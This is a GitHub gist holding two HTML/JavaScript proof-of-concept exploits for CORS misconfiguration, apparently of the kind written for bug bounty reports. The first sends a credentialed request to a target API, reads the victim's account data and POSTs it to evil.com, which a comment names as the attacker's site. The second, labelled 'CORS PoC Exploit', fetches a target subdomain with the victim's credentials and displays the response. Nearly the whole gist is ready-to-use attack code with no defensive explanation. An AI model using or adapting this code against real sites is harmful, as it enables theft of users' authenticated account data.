Skip to content

Instantly share code, notes, and snippets.

@andripwn
Last active August 15, 2019 08:30
Show Gist options
  • Save andripwn/f9efcabcfad6865b648e9eaec0445173 to your computer and use it in GitHub Desktop.
Save andripwn/f9efcabcfad6865b648e9eaec0445173 to your computer and use it in GitHub Desktop.
<html>
<body>
<button type='button' onclick='cors()'>CORS</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://evil.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://target.subdomain.com/sUduFmQH/xhr/api/v2/collector", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("emo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "subdomain.your-target.com", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</head>
<body>
<center>
<h2>CORS PoC Exploit </h2>
<h3>created by <a href="https://twitter.com/Jarvis7717">@Jarvis</a></h3>
<h3>Show full content of page</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment